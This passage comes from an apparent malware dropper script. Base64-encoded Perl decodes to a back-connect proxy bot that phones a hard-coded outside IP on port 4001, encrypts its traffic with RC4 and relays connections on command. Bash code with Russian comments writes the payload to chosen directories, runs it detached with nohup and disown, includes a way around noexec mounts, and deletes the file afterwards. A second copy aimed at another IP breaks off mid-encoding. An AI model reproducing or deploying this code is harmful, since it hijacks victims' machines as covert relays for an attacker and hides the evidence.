IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_70aa2bd1() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB